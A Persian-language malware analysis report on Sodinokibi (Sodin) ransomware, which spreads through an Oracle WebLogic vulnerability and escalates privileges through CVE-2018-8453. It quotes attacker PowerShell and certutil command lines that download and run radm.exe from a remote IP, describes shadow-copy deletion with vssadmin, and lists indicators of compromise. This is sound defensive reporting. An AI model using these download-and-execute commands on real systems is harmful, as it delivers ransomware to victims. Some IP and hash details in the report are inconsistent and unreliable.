
 

 Sodinافزار  تحلیل باج 
 1398تیر  18: گزارشتاریخ 

 مقدمه
پاد قرار گرفته است، برخلاف  که به تازگی مورد مشاهده و رصد آزمایشگاه تحلیل بدافزار کی  Sodinokibiافزار باج

های  از آنجایی که پورتال .  کرده است  1اوراکل   WebLogic Serverپذیری  برداری از آسیبافزارهای دیگر اقدام به بهره باج

پذیری این محصول نیاز  برداری از آسیباوراکل هستند، و همچنین بهره  WebLogicبسیاری در حال استفاده از سرویس 

 برداری و نفوذ قرار بدهد.  تواند طیف وسیعی از اهداف را مورد بهره افزار در ادامه می به تعامل با کاربران ندارد، این باج

افزار همچنین از  ها، این باج اوراکل برای نفوذ به طیف وسیعی از سامانه WebLogicپذیری تفاده از آسیبعلاوه بر اس

های مورد نفوذ قرار  برای افزایش سطح دسترسی خود بر روی سامانه  CVE-2018-8453پذیری ویندوز با شناسه آسیب

های سرور  و همچنین نسخه   10تا ویندوز    7عامل ویندوز  هسامان  Win32kپذیری در مولفه  کند. این آسیب گرفته استفاده می 

 برداری است.  عامل ویندوز قابل بهره سامانه

و همچنین سطح   دهد، ای را مورد نفوذ قرار می اوراکل سامانه  WebLogicپذیری افزار با استفاده آسیببعد از اینکه این باج 

کند. در نهایت  پاورشل اقدام به دانلود پیلودهای مخرب خود می فرامین از با استفاده  دسترسی خود را با موفقیت افزایش دهد، 

میز  آها به صورت موفقیت و رمزنگاری فایل  ( Shadow Copies) پنهان های ، حذف کپی بعد از آلودگی سامانه هدف

افزار خواهیم  زئیات این باج کند. در ادامه به تحلیل جمی  از قربانی خود  کوین دلار باج در قالب بیت 2500تا  1500خواست در 

 پرداخت.  

 

 

 

 

 

 

 
 مستندسازی شده است.  KA-9804152پذیری با شناسه این آسیب 1



 

 افزارمشخصات باج
در ادامه، تحلیل این بدافزار که از    آورده شده است. به صورت خلاصه   Sodinokibiافزار در جدول زیر، مشخصات کلی باج

 تری آورده شده است. افزارها به شمار می رود، با جزئیات دقیق خانواده باج 

 MD5 FB68A02333431394A9A0CDBFF3717B24شناسه 

 SHA-1 1399BF98A509ADB07663476DEE7F9FEE571E09F3شناسه 

 شرکت مایکروسافت عامل ویندوز سامانه پلتفرم هدف 

 « Ransomwareافزار » باج نوع بدافزار 

ها با الگوریتم  کند: محتویات فایل افزار از یک رویکرد رمزنگاری هیبریدی استفاده می این باج  الگوریتم رمزنگاری

( رمزنگاری  ECC)  ی ضویب  یمنحن   ی رمزنگارو کلیدهای آن با الگوریتم    Salsa20استریم  
 شود.  می

افزار های رمزنگاری شده توسط این باج و فایل   Sodinokibiافزار  در حال حاضر، برای باج  افزار رمزگشای باج 
 رمزگشایی ارائه نشده است.   « تصادفی»با فرمت 

 استفاده کرده است.   UPXسازی فایل اجرایی خود از پکر افزار برای پک و مبهم این باج  پکر فایل اجرایی 

 پاد »رنسام پاد« قابل شناسایی است. افزار کی افزار اکنون توسط محصول ضد باج این باج  پاد رنسام
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 Sodinافزار تحلیل باج
در سطح یک  های متنوعی برای گسترش خود  پذیری از آسیب افزار اخیرا شناسایی شده است و همچنین  از آنجایی که این باج 

 خواهیم پرداخت.  افزارها از خانواده باج ، در این مقاله به تحلیل و همچنین ساختاریابی این بدافزار کنداستفاده می شبکه 

ها  داده   ع یسر ی رمزنگار یبرا  Salsa20  تمیالگور های قبلی از افزار مانند نمونه این باج ، ر ابتدای مقاله ذکر شدهمانطور که د

و اکنون این رویکرد رمزنگاری توسط    « مورد استفاده قرار گرفته بود Petya»  ا یافزار پتااست که قبلا توسط باج استفاده کرده  

کلیدهای رمزنگاری  افزار  این باج در ادامه  .  و ... مورد استفاده قرار گرفته است  Sodinو    GandCrabافزارهای دیگر مانند  باج

 کند. رمزنگاری می ( ECC) ی ضوی ب یمنحن  یرمزنگار ها را با الگوریتم  فایل 

 WebLogicپذیری استفاده از آسیب 

  ل کاورا WebLogicبرداری از ضعف امنیتی هایی که صورت گرفته است، اکنون مهاجمان در حال بهره با توجه به بررسی 

پذیر هستند تا در  های آسیب بر روی سامانه پاد مستندسازی شده است(توسط کی  KA-9804152پذیری با کد )این آسیب 

 ها نصب کنند.  را بر روی آن   Sodinokibiنام  ا افزار بادامه بتوانند نوعی جدید از باج 

های  پذیر نصب شد، در گام بعد فرایند رمزنگاری محتویات دیرکتوری بر روی سامانه آسیب افزار با موفقیت بعد از اینکه باج 

ها دشوارتر شود، در ادامه  شود. شایان ذکر است، این بدافزار برای اینکه بازیابی فایل شروع می  Salsa20قربانی با الگوریتم 

 کند.( ویندوز را حذف می Shadow Copiesهای پنهان )کپی

را وصله کرده است و با به روزرسانی این محصول به آخرین وصله های امنیتی ارائه شده    WebLogicسیب پذیری  اوراکل آ

می توان این تهدید را رفع کرد، اما اگر این آسیب پذیری بر روی محصول مذکور برطرف نشده باشد، به سادگی قابل بهره  

داشته باشد، می تواند این آسیب پذیری را مورد   WebLogicبه سرور  HTTPبرداری است زیرا هر کسی که دسترسی 

 بهره برداری قرار بدهد.  

افزار  توسط مهاجمان پشت باج اوراکل    WebLogicپذیری سرور  شایان ذکر است، اولین مشاهدات نفوذگری به واسطه آسیب 

Sodin  اوراکل برای این   98اردیبهشت  6روز بعد،  پاد مشاهده شد.اردیبهشت توسط آزمایشگاه پایش تهدیدات کی  5در

 پذیری وصله امنیتی ارائه کرد.  آسیب

اوراکل نمایش داده شده است، در ادامه    WebLogicدرخواست مهاجمان برای بررسی آسیب پذیری یک سرور    1در تصویر  

اوراکل تلاش   WebLogicبه سرور  AsyncResponderServiceاز نوع  HTTPبا ایجاد یک درخواست مهاجمان 

 به دانلود دراپر بدافزار خود کرده بودند. 

 



 

 

 WebLogicپذیری هدف به ضعف امنیتی : بررسی آسیب1تصویر  

 

 Sodinافزار : دانلود فایل باج 2تصویر  

 



 

  ی رمزنگار  ات ی انجام عمل یها براعموم آن مشاهده شده است ،  پاد ی صورت گرفته در شرکت کی افزارهاباج  ل یبا توجه به تحل

مانند باز کردن یک فایل پیوست شده به درون یک ایمیل، باز کردن یک لینک،  با کاربر  یبه تعامل حداقل ازیو مخرب خود ن

 نیاز به تعامل با کاربر نیست.   Sodinافزار اما در نمونه باج  دارند،اجرای یک فایل مخرب و ...  

پذیر به صورت  شوند سرور آسیب موجب می  WebLogicپذیری از آسیب ، مهاجمان با استفاده Sodinافزار در نمونه باج 

افزار نیاز به  اجرا شود. از آنجایی که این باج  سامانهخودکار فایل اجرایی مخرب این بدافزار را دانلود کند و در نهایت بر روی 

افزار  ر گرفته است، این باج به صورت گسترده مورد استفاده قرا WebLogicتعامل با اهداف ندارد، و همچنین سرویس 

 توانسته است به سرعت خودش را گسترش بدهد.  

 دستورات پاورشل

ایجاد شده بودند. در   130.61.54.136های مهاجمان از آدرس هایی که صورت گرفته است، درخواستبا توجه به بررسی 

شده بود که در ادامه   cmd.exeشامل پارامترهایی برای  HTTPپروتکل  POSTها، یک درخواست بین این درخواست 

شود. هنگامی که فایل مورد نظر بر روی  می   radm.exe« و دانلود فایلی با نام  PowerShellموجب فراخوانی پاورشل »

شود.  ها آغاز می ازی گردد، در نهایت بر روی آن اجرا خواهد شد و پروسه رمزنگاری فایل سپذیر دانلود و ذخیره سامانه آسیب 

 : در زیر، این پارامترهای نمایش داده شده است

cmd /c powershell.exe wget http://188.166.74.218/radm.exe -outfile 

%TEMP%/radm.exe&cmd.exe /c %TEMP%\\radm.exe 

برای دانلود    cmdرا به    certutilاورشل، در حین تحلیل این بدافزار مشاهده کردیم که مهاجمان ابزار  علاوه بر استفاده از پ

 اند. در زیر، جزئیات این فرمان نمایش داده شده است: یک فایل عبور داده

cmd /c cmd.exe /c certutil.exe -urlcache -split -f http://188.166.74.218/radm.exe 

%TEMP%/radm.exe&cmd.exe /c %TEMP%\\radm.exe 

های دیگری با  و پاورشل، مشاهده کردیم که این بدافزار فایل  certutil، با بررسی فرامین radm.exeعلاوه بر فایل 

دانلود و بر روی سامانه هدف   218.165.74.218از آدرس  office.exe ،radm.exe ،untitled.exeهای نام

 کند. خود بارگزاری می 

رمزنگاری    سامانههای روی  شوند تا فایل ها بر روی سامانه هدف مورد نفوذ قرار گرفته اجرا می های مذکور، آن بعد از دانلود فایل 

برای عموم افراد  دسترس    اند که یک پکر رایگان و قابلرمزنگاری شده   UPXهای مذکور با پکر  شوند. شایان ذکر است، فایل 

نمایش داده شده است که بعد از بارگزاری روی سامانه قربانی، عمل   untitled.exe، مشخصات فایل 3در تصویر  .است

 دهد. ها را انجام می رمزنگاری فایل 

 



 

 

 Sodinافزار : مشخصات فایل اجرایی باج 3تصویر  

اجرا خواهد    untitled.exeدر ادامه فایل  ،  Sodinهای اجرایی باج افزار  بعد از دانلود و بارگزاری فایل ،  همانطور که ذکر شد 

استفاده کرده و ابزار   cmd.exeاز ها را بر عهده دارد. در ادامه این فایل اجرایی، شد که وظیفه رمزنگاری فایل 

vssadmin.exe  کند.  را اجرا می 

کند تا در ادامه  « ویندوز را حذف می Shadow Copiesهای مخفی » کپی  vssadmin.exeاین باج افزار با اجرای 

این رویکرد توسط عموم باج افزارها استفاده می شود تا عمل بازیابی فایل ها دشوار )در  ها را بازیابی کرد. دیگر نتوان فایل 

 برخی شرایط ناممکن( شود. 



 

 

 افزارهای کپی مخفی توسط باج : حذف فایل 4تصویر  

هم با  مکانیزم بازیابی ویندوز حذف شد و اطلاعات بر روی دیسک    «Shadow Copies»  مخفیهای  در ادامه وقتی کپی 

افزار باج این خواهی رمزنگاری شدند، تصویر پیش زمینه دسکتاپ با یک تصویر حاوی اشاره به فایل راهنمای باج موفقیت 

 ها پرداخت کنید. کیف پول آن  ا فایل مذکور را مطالعه کنید و باج خواسته شده را به آدرس کند تتغییر می 

 

 خواهی زمینه دسکتاپ و متن باج : تغییر تصویر پیش 5تصویر  



 

 Win32kپذیری مولفه افزایش سطح دسترسی با آسیب

پذیر استفاده  های آسیب اوراکل برای نفوذ به سامانه WebLogicپذیری سرور ، علاوه بر اینکه از آسیب Sodinافزار باج

برد.  پذیری دیگری برای افزایش سطح دسترسی خود بهره می عامل هدف خود شد، از آسیبکند، بعد از اینکه وارد سامانهمی

 CVE-2018-8453کند، درای شناسه برای افزایش سطح دسترسی خود استفاده می  Sodinافزار پذیری که باج آسیب

 ویندوز وجود دارد.   Win32kاست و در مولفه  

  64بیتی و  32ای که وجود دارد )این اکسپلویت برای دو معماری بعد از اجرای این اکسپلویت مبتنی بر نوع معماری پردازنده 

ن را به دست  افزار بالاترین سطح دسترسی ممک شده است(، پروسه اجرایی باج تعبیه  افزاردر پروسه باج بیتی به صورت مجزا

عامل مذکور  افزار مبتنی بر معماری پردازنده سامانه رویه اجرای اکسپلویت افزایش سطح دسترسی این باج   6آورد. در تصویر  می

 .  آورده شده است

 

 : بلاک شناسایی معماری پردازنده و اجرای اکسپلویت افزایش سطح دسترسی 6تصویر  

 



 

 افزارطرح رمزنگاری باج

همانطور که در ابتدا ذکر شد، این باج افزار از یک الگوی هیبریدی برای رمزنگاری استفاده می کند. این باج افزار محتویات  

رمزنگاری کرده و در ادامه کلیدهای رمزنگاری را هم با الگوریتم رمزنگاری    Salsa20فایل ها را با الگوریتم استریم نامتقارن  

می کند. از آنجایی که برخی از اطلاعات رمزنگاری در رجیستری توسط این باج افزار ذخیره    ( رمزنگاریECCمنحنی بیضوی )

نمایانگر    7شده است، با رفتن به رجیستری برخی از اطلاعات مذکور رمزنگاری این باج افزار را می توانید مشاهده کنید. تصویر  

 اطلاعات ذخیره شده رمزنگاری این باج افزار است.  

 

 افزار درون رجیستری اطلاعات رمزنگاری ذخیره شده توسط باج  : 7تصویر  

 گیرینتیجه
افزار خود و  اوراکل برای انتشار باج  WebLogicافزار از زیرودی این حمله مهم است زیرا مهاجمان پشت توسعه این باج 

اگرچه اکنون مشتریان و   اند.همچنین زیرودی دیگری برای افرایش سطح دسترسی خود بر روی یک سامانه استفاده کرده 

افزار ایمن هستند، اما در هر صورت این باج افزار  پاد در مقابل حمله این باج پاد شرکت کی افزار رنسامکاربران محصول ضد باج 

 تهدید جدی برای کاربران دیگر است.  

روزرسانی به  را با به  WebLogicپذیری سرور پاد، آسیبافزار رنسامشود علاوه بر نصب ضد باج از همین روی توصیه می 

های امنیتی سامانه خود را در  عامل ویندوز به آخرین وصله روزرسانی سامانههای امنیتی رفع کنید و همچنین با به آخرین وصله

 فزار به نهایت ایمنی برسانید.  مقابل حمله این باج 



 

 

 « IOCنشانه نفوذگر »

Name: Hash 
W32/Sodin - Packed 1ce1ca85bff4517a1ef7e8f9a7c22b16 
W32/Sodin - Unpacked 1ce1ca85bff4517a1ef7e8f9a7c22b16 
Samples: 0fa207940ea53e2b54a2b769d8ab033a6b2c5e08c78bf4d7dade79849960b54d 

34dffdb04ca07b014cdaee857690f86e490050335291ccc84c94994fa91e0160 
74bc2f9a81ad2cc609b7730dbabb146506f58244e5e655cbb42044913384a6ac 
95ac3903127b74f8e4d73d987f5e3736f5bdd909ba756260e187b6bf53fb1a05 
fa2bccdb9db2583c2f9ff6a536e824f4311c9a8a9842505a0323f027b8b51451 

URLs http://188.166.74[.]218/office.exe 
http://188.166.74[.]218/radm.exe 
http://188.166.74[.]218/untitled.exe  
http://45.55.211[.]79/.cache/untitled.exe 

Ips 130.61.54.136 
45.55.211.79 
188.166.74.218 

 « IOC: نشان نفوذ »3جدول 


